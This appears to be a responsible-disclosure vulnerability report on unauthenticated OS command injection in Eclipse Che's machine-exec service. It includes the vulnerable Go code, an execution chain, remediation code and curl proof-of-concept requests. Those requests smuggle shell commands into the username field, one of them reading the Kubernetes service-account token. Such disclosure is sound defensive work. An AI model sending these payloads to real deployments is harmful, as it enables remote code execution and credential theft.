The reporter wrote: ## **Summary** The `che-machine-exec` service constructs a shell command by concatenating user-controlled input (the `username` and `namespace` fields from the `/exec/init` and `/exec/config` JSON endpoints) into a double-quoted `sh -c "echo \"...\" > ..."` invocation without any escaping. Because authentication is disabled by default, any network-reachable attacker can achieve remote code execution inside workspace containers via shell command substitution (`$(...)` or backticks). ## **Severity** **Critical** (CVSS 3.1: 9.8) `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H` * **Attack Vector:** Network — service binds to `:4444` on all interfaces by default * **Attack Complexity:** Low — single POST request with malicious JSON * **Privileges Required:** None — authentication is disabled by default (`USE_BEARER_TOKEN=false`) * **User Interaction:** None * **Scope:** Unchanged — RCE executes within the target workspace container, which is within machine-exec's operational scope * **Confidentiality Impact:** High — full read access to workspace container filesystem, environment, and secrets * **Integrity Impact:** High — full write access to workspace container filesystem and processes * **Availability Impact:** High — can kill processes or crash the workspace container ### **Severity Rationale** The reporter did not assign a specific CVSS score. The Critical/9.8 rating reflects: (1) trivial, single-request exploitation with no authentication, (2) full RCE in the workspace container, and (3) the default-unauthenticated configuration. When `USE_BEARER_TOKEN=true`, PR would shift to Low (CVSS 8.8), but the default insecure configuration drives the base score. ## **Affected Component** * `kubeconfig/kubeconfig.go` — `syncKubeConfig()` (line 175\) — primary injection point * `kubeconfig/kubeconfig.go` — `createKubeConfigDir()` (line 166\) — secondary injection via `kubeconfigDir` * `api/rest/execInit.go` — `HandleInit()` (line 45\) — entry point, no input validation * `api/rest/execKubeConfig.go` — `HandleKubeConfig()` (line 38\) — entry point, no input validation * `api/rest/common.go` — `HandleKubeConfigCreation()` (line 19\) — only checks empty username, no sanitization ## **CWE** * **CWE-78**: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') ## **Description** ### **Shell command construction from user input without escaping** The `syncKubeConfig` function in `kubeconfig/kubeconfig.go:174-181` writes a kubeconfig file into workspace containers by executing a shell command via the Kubernetes pod exec API. The kubeconfig content — which contains user-supplied `username` and `namespace` fields — is concatenated directly into a double-quoted shell string: ``` // kubeconfig/kubeconfig.go:174-181 func syncKubeConfig(cmdRslv execInfo.InfoExecCreator, config string, kubeconfigLocation string, containerInfo *model.ContainerInfo) error { infoExec := cmdRslv.CreateInfoExec( []string{"sh", "-c", "echo \"" + config + "\" > " + kubeconfigLocation + "/config"}, containerInfo) if err := infoExec.Start(); err != nil { return errors.New("Could not write kubeconfig to: " + kubeconfigLocation) } return nil } ``` The `config` variable is a YAML-marshaled string produced by `createKubeConfigText`, which embeds user-controlled fields verbatim: ``` // kubeconfig/kubeconfig.go:103-118 func createKubeConfigText(token, namespace, username string) (string, error) { host, port := os.Getenv("KUBERNETES_SERVICE_HOST"), os.Getenv("KUBERNETES_SERVICE_PORT") server := "https://" + net.JoinHostPort(host, port) kubeconfig := generateKubeConfig(token, server, namespace, username) bytes, err := yaml.Marshal(&kubeconfig) return string(bytes), nil } ``` The `username` field appears in multiple locations within the generated YAML struct (`Users[0].Name`, `Contexts[0].Context.User`, `Contexts[0].Name`, `CurrentContext`), amplifying the injection surface: ``` // kubeconfig/kubeconfig.go:67-101 func generateKubeConfig(token, server, namespace, username string) *KubeConfig { currentContext := fmt.Sprintf("%s-context", username) return &KubeConfig{ // ... Users: []Users{{Name: username, User: User{Token: token}}}, Contexts: []Contexts{{ Context: Context{Cluster: server, Namespace: namespace, User: username}, Name: currentContext, }}, CurrentContext: currentContext, // ... } } ``` Go's `yaml.v2` marshaler does not escape shell metacharacters — `$`, backticks, and parentheses are not special in YAML and pass through as plain scalars. When the resulting YAML string is embedded inside the `echo "..."` shell command, any `$(...)` or `` `...` `` sequences are evaluated by the shell as command substitutions. ### **Complete absence of input validation and sanitization** The only processing applied to the `username` field before it reaches the shell is an emptiness check that falls back to a default value: ``` // api/rest/common.go:19-26 func HandleKubeConfigCreation(kubeConfigParams *model.KubeConfigParams, containerInfo *model.ContainerInfo) error { if kubeConfigParams.Username == "" { kubeConfigParams.Username = "Developer" } err := execManager.CreateKubeConfig(kubeConfigParams, containerInfo) return err } ``` No sanitization, no validation, no escaping. The handlers parse the JSON body directly into the model struct via `c.BindJSON()` and pass it through: ``` // api/rest/execInit.go:44-51 var initConfigParams model.InitConfigParams if c.BindJSON(&initConfigParams) != nil { rest.WriteResponse(c, http.StatusInternalServerError, "Failed to convert body args into internal structure") return } kubeConfigParams := initConfigParams.KubeConfigParams kubeConfigParams.BearerToken = token ``` A codebase-wide search for `shellescape`, `shlex`, `shell.*quote`, or any custom escaping function found zero results — no shell escaping capability exists anywhere in the codebase. ### **Default-unauthenticated API** Authentication is gated behind the `UseBearerToken` flag, which defaults to `false`: ``` // cfg/cfg.go:69-79 defaultUseTokenValue := false // ... flag.BoolVar(&UseBearerToken, "use-bearer-token", defaultUseTokenValue, ...) ``` ``` // auth/auth.go:24-26 func IsEnabled() bool { return cfg.UseBearerToken } ``` When `UseBearerToken` is `false` (default), both `/exec/init` and `/exec/config` handlers skip the entire auth block, accepting requests from any network-reachable client without authentication. ### **Execution chain** 1. Attacker sends `POST /exec/init` with JSON body: `{"container":"","kubeconfig":{"username":"$(id)","namespace":"default"}}` 2. `HandleInit` parses JSON via `c.BindJSON()` — no validation (line 45\) 3. `HandleKubeConfigCreation` checks if username is empty — it isn't, so no default applied (line 20\) 4. `createKubeConfigText` generates YAML struct with `$(id)` in `Users.Name`, `Context.User`, etc. (line 110\) 5. `yaml.Marshal` serializes to string — `$(id)` appears as a plain YAML scalar, unescaped (line 112\) 6. `syncKubeConfig` constructs: `sh -c "echo \"apiVersion: v1\n...\nuser: $(id)\n...\" > /path/config"` (line 175\) 7. `KubernetesInfoExec.Start()` sends this command to the Kubernetes pod exec API (line 82-98 in `kubernetes_info_exec.go`) 8. Shell evaluates `$(id)` inside the double-quoted string — **RCE achieved in workspace container** 9. The 3-second timeout returns `nil` on timeout (line 123 in `kubernetes_info_exec.go`), so even long-running payloads don't produce errors ## **Proof of Concept** ``` # Time-based PoC (safe): inject $(sleep 2) via username # The 2-second delay in response time proves shell evaluation. # No auth header needed when USE_BEARER_TOKEN=false (default). # Baseline: normal request timing time curl -sk -X POST 'http://<MACHINE_EXEC_HOST>:4444/exec/init' \ -H 'Content-Type: application/json' \ --data-binary '{ "container": "", "kubeconfig": {"namespace": "default", "username": "Developer"} }' # Injection: response latency increases by ~2s vs baseline time curl -sk -X POST 'http://<MACHINE_EXEC_HOST>:4444/exec/init' \ -H 'Content-Type: application/json' \ --data-binary '{ "container": "", "kubeconfig": {"namespace": "default", "username": "$(sleep 2)"} }' # Data exfiltration variant (writes output to kubeconfig path): curl -sk -X POST 'http://<MACHINE_EXEC_HOST>:4444/exec/init' \ -H 'Content-Type: application/json' \ --data-binary '{ "container": "", "kubeconfig": {"namespace": "default", "username": "$(cat /var/run/secrets/kubernetes.io/serviceaccount/token > /tmp/pwned)"} }' # If USE_BEARER_TOKEN=true, add: # -H 'X-Access-Token: Bearer <VALID_TOKEN>' ``` ## **Impact** * **Unauthenticated RCE in workspace containers**: Any client with network access to the machine-exec sidecar (port 4444\) can execute arbitrary commands inside workspace containers without authentication * **Credential theft**: Attacker can read the Kubernetes service account token (`/var/run/secrets/kubernetes.io/serviceaccount/token`), enabling lateral movement within the cluster * **Source code theft**: Workspace containers typically contain the developer's checked-out source code, SSH keys, and Git credentials * **Supply chain attack**: Attacker can modify source code in the workspace before the developer commits, injecting backdoors * **Workspace disruption**: Attacker can kill processes, delete files, or crash the workspace container * **Lateral movement**: With the service account token, attacker can interact with the Kubernetes API using the workspace's RBAC permissions ## **Recommended Remediation** ### **Option 1: Write file content via stdin instead of shell interpolation (Preferred)** Eliminate the shell entirely by writing the kubeconfig content via stdin to avoid any shell interpretation: ``` func syncKubeConfig(cmdRslv execInfo.InfoExecCreator, config string, kubeconfigLocation string, containerInfo *model.ContainerInfo) error { // Use 'cat' reading from stdin via heredoc, or better yet: // Use tee/dd with stdin to write file content without shell interpolation targetPath := kubeconfigLocation + "/config" infoExec := cmdRslv.CreateInfoExec( []string{"sh", "-c", "cat > " + shellescape.Quote(targetPath)}, containerInfo) infoExec.SetStdin(strings.NewReader(config)) if err := infoExec.Start(); err != nil { return fmt.Errorf("could not write kubeconfig to %s: %w", kubeconfigLocation, err) } return nil } ``` Note: This requires modifying the `InfoExec` interface to support stdin. If that is too invasive, use Option 2\. ### **Option 2: Shell-escape user inputs before embedding** Add strict input sanitization using a shell-escaping library (e.g., [`github.com/alessio/shellescape`](http://github.com/alessio/shellescape)) and apply it to every user-controlled field before they enter the YAML: ``` import "github.com/alessio/shellescape" func CreateKubeConfig(cmdRslv execInfo.InfoExecCreator, kubeConfigParams *model.KubeConfigParams, containerInfo *model.ContainerInfo) error { // Sanitize user-controlled fields before use safeUsername := sanitizeKubeConfigField(kubeConfigParams.Username) safeNamespace := sanitizeKubeConfigField(kubeConfigParams.Namespace) config, err := createKubeConfigText(kubeConfigParams.BearerToken, safeNamespace, safeUsername) // ... } func sanitizeKubeConfigField(input string) string { // Reject any characters that are not alphanumeric, hyphens, underscores, or dots for _, r := range input { if !unicode.IsLetter(r) && !unicode.IsDigit(r) && r != '-' && r != '_' && r != '.' { return "invalid" } } return input } ``` Additionally, the `syncKubeConfig` function should shell-escape the config string: ``` func syncKubeConfig(cmdRslv execInfo.InfoExecCreator, config string, kubeconfigLocation string, containerInfo *model.ContainerInfo) error { infoExec := cmdRslv.CreateInfoExec( []string{"sh", "-c", "echo " + shellescape.Quote(config) + " > " + shellescape.Quote(kubeconfigLocation+"/config")}, containerInfo) return infoExec.Start() } ``` ### **Additionally: Enable authentication by default** Change the default value of `UseBearerToken` to `true` to ensure authentication is enabled unless explicitly disabled: ``` // cfg/cfg.go defaultUseTokenValue := true // was: false ``` ## **Credit** This vulnerability was discovered and reported by [bugbunny.ai](https://bugbunny.ai/). <!-- Please, do not remove the line below. It will create a confidential issue that will be visible only to you and the members of this project. Confidential issues are used to keep security vulnerabilities private until they are sorted out. Eclipse Projects follow Responsible Disclosure best practices: the initial report is made privately, but with the full details being published once a patch has been made available (sometimes with a delay to allow more time for the patches to be installed). -->